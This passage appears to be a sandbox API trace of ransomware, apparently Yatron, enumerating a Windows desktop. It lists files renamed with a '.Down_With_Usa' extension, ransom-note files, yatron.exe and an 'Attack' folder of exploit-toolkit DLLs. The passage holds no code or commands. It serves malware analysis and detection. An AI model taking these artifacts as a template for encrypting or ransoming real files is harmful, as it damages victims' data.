[0270.196] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x293b9920, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x293b9920, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x293dfa80, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x3a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tibe-2.dll", cAlternateFileName="")) returned 1
[0270.197] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x293213a0, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x293213a0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x29347500, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x42000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tibe.dll", cAlternateFileName="")) returned 1
[0270.197] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29451ea0, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x29451ea0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x29478000, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x12000, dwReserved0=0x0, dwReserved1=0x0, cFileName="trch-0.dll", cAlternateFileName="")) returned 1
[0270.198] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2961af20, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x2961af20, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x2961af20, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xea00, dwReserved0=0x0, dwReserved1=0x0, cFileName="trch-1.dll", cAlternateFileName="")) returned 1
[0270.198] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2942bd40, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x2942bd40, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x2942bd40, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xc200, dwReserved0=0x0, dwReserved1=0x0, cFileName="trch.dll", cAlternateFileName="")) returned 1
[0270.198] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2968d340, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x2968d340, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x296b34a0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x0, cFileName="trfo-0.dll", cAlternateFileName="")) returned 1
[0270.199] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2974ba20, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x2974ba20, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x2974ba20, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x7400, dwReserved0=0x0, dwReserved1=0x0, cFileName="trfo-2.dll", cAlternateFileName="")) returned 1
[0270.199] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29641080, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x29641080, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x296671e0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x9600, dwReserved0=0x0, dwReserved1=0x0, cFileName="trfo.dll", cAlternateFileName="")) returned 1
[0270.199] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29830260, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x29830260, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x29830260, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x0, dwReserved1=0x0, cFileName="tucl-1.dll", cAlternateFileName="")) returned 1
[0270.200] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x297bde40, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x297bde40, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x297e3fa0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tucl.dll", cAlternateFileName="")) returned 1
[0270.304] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x298a2680, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x298a2680, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x298a2680, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xe400, dwReserved0=0x0, dwReserved1=0x0, cFileName="ucl.dll", cAlternateFileName="")) returned 1
[0270.305] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x695d1f10, ftCreationTime.dwHighDateTime=0x1d5d7c4, ftLastAccessTime.dwLowDateTime=0x2cb950e0, ftLastAccessTime.dwHighDateTime=0x1d5da32, ftLastWriteTime.dwLowDateTime=0x1fc20000, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xcb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UNNnOAAde-h4.jpg.Down_With_Usa", cAlternateFileName="UNNNOA~1.DOW")) returned 1
[0270.305] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x798ab570, ftCreationTime.dwHighDateTime=0x1d5e375, ftLastAccessTime.dwLowDateTime=0xc8194570, ftLastAccessTime.dwHighDateTime=0x1d5e7f9, ftLastWriteTime.dwLowDateTime=0x1fd04840, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xba90, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vzk1n.bmp.Down_With_Usa", cAlternateFileName="VZK1NB~1.DOW")) returned 1
[0270.305] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29960d60, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x29960d60, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x29960d60, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="x64.dll", cAlternateFileName="")) returned 1
[0270.306] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29914aa0, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x29914aa0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x29914aa0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="x86.dll", cAlternateFileName="")) returned 1
[0270.306] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17c8cf10, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0xf225bed0, ftLastAccessTime.dwHighDateTime=0x1d5db0f, ftLastWriteTime.dwLowDateTime=0x1fd9cdc0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x87b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="XLuz.flv.Down_With_Usa", cAlternateFileName="XLUZFL~1.DOW")) returned 1
[0270.307] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec4d6480, ftCreationTime.dwHighDateTime=0x1d6a96e, ftLastAccessTime.dwLowDateTime=0xece5fb00, ftLastAccessTime.dwHighDateTime=0x1d6a96e, ftLastWriteTime.dwLowDateTime=0x118da300, ftLastWriteTime.dwHighDateTime=0x1d6a96e, nFileSizeHigh=0x0, nFileSizeLow=0x38b600, dwReserved0=0x0, dwReserved1=0x0, cFileName="yatron.exe", cAlternateFileName="")) returned 1
[0270.307] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69eb4cb0, ftCreationTime.dwHighDateTime=0x1d5d871, ftLastAccessTime.dwLowDateTime=0xb263bf50, ftLastAccessTime.dwHighDateTime=0x1d5e220, ftLastWriteTime.dwLowDateTime=0x20cc9a00, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xe070, dwReserved0=0x0, dwReserved1=0x0, cFileName="zb9dFe.avi.Down_With_Usa", cAlternateFileName="ZB9DFE~1.DOW")) returned 1
[0270.308] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8113ae20, ftCreationTime.dwHighDateTime=0x1d5e6d9, ftLastAccessTime.dwLowDateTime=0x7578e420, ftLastAccessTime.dwHighDateTime=0x1d5db19, ftLastWriteTime.dwLowDateTime=0x20dae240, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x17f00, dwReserved0=0x0, dwReserved1=0x0, cFileName="zFo2RxjXMBylRJ8-.jpg.Down_With_Usa", cAlternateFileName="ZFO2RX~1.DOW")) returned 1
[0270.308] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2816d000, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x2816d000, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x28205580, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x40000, dwReserved0=0x0, dwReserved1=0x0, cFileName="zibe.dll", cAlternateFileName="")) returned 1
[0270.309] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x298c87e0, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x298c87e0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x298ee940, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x40000, dwReserved0=0x0, dwReserved1=0x0, cFileName="zlib1.dll", cAlternateFileName="")) returned 1
[0270.310] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
[0270.311] FindClose (in: hFindFile=0x27f05cd0 | out: hFindFile=0x27f05cd0) returned 1
[0270.313] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ece90) returned 1
[0270.313] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ece50) returned 1
[0270.314] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ecf40) returned 1
[0270.316] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2eca30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0270.316] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", nBufferLength=0x105, lpBuffer=0x2ec9d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", lpFilePart=0x0) returned 0x26
[0270.318] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*", lpFindFileData=0x2ecbe0 | out: lpFindFileData=0x2ecbe0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x663f97e0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x663f97e0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x27f05cd0
[0270.319] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x663f97e0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x663f97e0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0270.319] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26d31500, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x26d31500, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x26d57660, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x623, dwReserved0=0x0, dwReserved1=0x0, cFileName="!Please Read Me!.txt", cAlternateFileName="!PLEAS~1.TXT")) returned 1
[0270.320] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26dc9a80, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x26dc9a80, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x26defbe0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x4bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="!Please Read Me!.vbs", cAlternateFileName="!PLEAS~1.VBS")) returned 1
[0270.320] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x881f4fb0, ftCreationTime.dwHighDateTime=0x1d5dee8, ftLastAccessTime.dwLowDateTime=0x8645d910, ftLastAccessTime.dwHighDateTime=0x1d5dd59, ftLastWriteTime.dwLowDateTime=0x1f2746a0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x13710, dwReserved0=0x0, dwReserved1=0x0, cFileName="14twDPt60izPLxo82S4.swf.Down_With_Usa", cAlternateFileName="14TWDP~1.DOW")) returned 1
[0270.321] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3aec6660, ftCreationTime.dwHighDateTime=0x1d5dfba, ftLastAccessTime.dwLowDateTime=0xca23aac0, ftLastAccessTime.dwHighDateTime=0x1d5db1c, ftLastWriteTime.dwLowDateTime=0x1f358ee0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xdb10, dwReserved0=0x0, dwReserved1=0x0, cFileName="1g_JOPnK9w7TxVEt.mkv.Down_With_Usa", cAlternateFileName="1G_JOP~1.DOW")) returned 1
[0270.321] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499cf2b0, ftCreationTime.dwHighDateTime=0x1d5e465, ftLastAccessTime.dwLowDateTime=0x90a8d300, ftLastAccessTime.dwHighDateTime=0x1d5e72f, ftLastWriteTime.dwLowDateTime=0x1f3cb300, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x81d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2spXr1L63i0rOFWOwGxO.jpg.Down_With_Usa", cAlternateFileName="2SPXR1~1.DOW")) returned 1
[0270.322] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62e71940, ftCreationTime.dwHighDateTime=0x1d5e293, ftLastAccessTime.dwLowDateTime=0xba234f20, ftLastAccessTime.dwHighDateTime=0x1d5dcc2, ftLastWriteTime.dwLowDateTime=0x1f43d720, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xb2c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3KX2W5Gx_oMR2z.avi.Down_With_Usa", cAlternateFileName="3KX2W5~1.DOW")) returned 1
[0270.322] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x280fabe0, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x280fabe0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x280fabe0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x3a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="adfw-2.dll", cAlternateFileName="")) returned 1
[0270.323] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27f7de20, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x27f7de20, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x27f7de20, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="adfw.dll", cAlternateFileName="")) returned 1
[0270.323] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27397020, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x27397020, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x27397020, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Attack", cAlternateFileName="")) returned 1
[0270.324] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x628e42f0, ftCreationTime.dwHighDateTime=0x1d5e227, ftLastAccessTime.dwLowDateTime=0xeb6eb640, ftLastAccessTime.dwHighDateTime=0x1d5e29a, ftLastWriteTime.dwLowDateTime=0x1f4fbe00, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x4c60, dwReserved0=0x0, dwReserved1=0x0, cFileName="ciBvwtUgoKdRmxR9BZC.odp.Down_With_Usa", cAlternateFileName="CIBVWT~1.DOW")) returned 1
[0270.324] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9f23c20, ftCreationTime.dwHighDateTime=0x1d5d8c0, ftLastAccessTime.dwLowDateTime=0xa4f39ad0, ftLastAccessTime.dwHighDateTime=0x1d5e58f, ftLastWriteTime.dwLowDateTime=0x1f594380, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x151a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="clTNgHV.mp3.Down_With_Usa", cAlternateFileName="CLTNGH~1.DOW")) returned 1
[0270.325] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28120d40, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x28120d40, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x28146ea0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x1a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="cnli-0.dll", cAlternateFileName="")) returned 1
[0270.325] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2822b6e0, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x2822b6e0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x28251840, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x18a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="cnli-1.dll", cAlternateFileName="")) returned 1
[0270.325] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28251840, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x28251840, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x282779a0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="coli-0.dll", cAlternateFileName="")) returned 1
[0270.326] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x282c3c60, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x282c3c60, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x282c3c60, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x0, dwReserved1=0x0, cFileName="crli-0.dll", cAlternateFileName="")) returned 1
[0270.326] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
[0270.327] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a295b20, ftCreationTime.dwHighDateTime=0x1d5dbdb, ftLastAccessTime.dwLowDateTime=0xce0d62f0, ftLastAccessTime.dwHighDateTime=0x1d5e1bd, ftLastWriteTime.dwLowDateTime=0x1f5e0640, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x5380, dwReserved0=0x0, dwReserved1=0x0, cFileName="DhM_7QwBM.avi.Down_With_Usa", cAlternateFileName="DHM_7Q~1.DOW")) returned 1
[0270.327] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc04acda0, ftCreationTime.dwHighDateTime=0x1d5e669, ftLastAccessTime.dwLowDateTime=0xe5d04d60, ftLastAccessTime.dwHighDateTime=0x1d5e827, ftLastWriteTime.dwLowDateTime=0xe5d04d60, ftLastWriteTime.dwHighDateTime=0x1d5e827, nFileSizeHigh=0x0, nFileSizeLow=0x9532, dwReserved0=0x0, dwReserved1=0x0, cFileName="dJlVeYs3JTlELmoZmk3d.m4a", cAlternateFileName="DJLVEY~1.M4A")) returned 1
[0270.328] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x282e9dc0, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x282e9dc0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x282e9dc0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x8a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="dmgd-1.dll", cAlternateFileName="")) returned 1
[0270.328] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2830ff20, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x2830ff20, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x2830ff20, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x75200, dwReserved0=0x0, dwReserved1=0x0, cFileName="dmgd-4.dll", cAlternateFileName="")) returned 1
